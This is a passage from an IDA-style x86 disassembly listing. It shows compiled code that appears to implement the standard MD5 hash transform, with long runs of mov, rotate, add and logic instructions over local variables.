eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+2], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 18h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+3], al jmp short loc_40F34E ; --------------------------------------------------------------------------- locret_40F3CC: ; CODE XREF: sub_40F33F+25j leave retn sub_40F33F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3CE proc near ; CODE XREF: sub_40F159+AAp ; sub_40F159+E3p ... var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 50h push 40h push [ebp+arg_4] lea eax, [ebp+var_50] push eax call sub_410244 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_C], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-28955B88h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-173848AAh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+242070DBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3E423112h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0A83F051h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4787C62Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-57CFB9EDh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_8] lea eax, [ecx+eax-2B96AFFh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+698098D8h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-74BB0851h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0A44Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_8] lea eax, [ecx+eax-76A32842h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6B901122h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-2678E6Dh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5986BC72h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_8] lea eax, [ecx+eax+49B40821h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-9E1DA9Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3FBF4CC0h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+265E5A51h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_8] lea eax, [ecx+eax-16493856h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-29D0EFA3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_10] lea eax, [ecx+eax+2441453h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax-275E197Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_8] lea eax, [ecx+eax-182C0438h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+21E1CDE6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3CC8F82Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0B2AF279h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_8] lea eax, [ecx+eax+455A14EDh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-561C16FBh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3105C08h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax+676F02D9h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_8] lea eax, [ecx+eax-72D5B376h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5C6BEh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_30] mov ecx, [ebp+var_10] lea eax, [ecx+eax-788E097Fh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+6D9D6122h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_18] mov ecx, [ebp+var_8] lea eax, [ecx+eax-21AC7F4h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5B4115BCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_40] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4BDECFA9h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax-944B4B0h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_28] mov ecx, [ebp+var_8] lea eax, [ecx+eax-41404390h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+289B7EC6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_50] mov ecx, [ebp+var_10] lea eax, [ecx+eax-155ED806h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-2B10CF7Bh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_38] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4881D05h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-262B2FC7h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_20] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1924661Bh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax+1FA27CF8h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_48] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3B53A99Bh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0BD6DDBCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_10] lea eax, [ecx+eax+432AFF97h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-546BDC59h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-36C5FC7h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+655B59C3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_10] lea eax, [ecx+eax-70F3336Eh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-100B83h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-7A7BA22Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6FA87E4Fh] loc_41005C: ; DATA XREF: BrattyUS:off_41A8CCo mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1D31920h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5CFEBCECh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4E0811A1h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-8AC817Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_10] lea eax, [ecx+eax-42C50DCBh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov 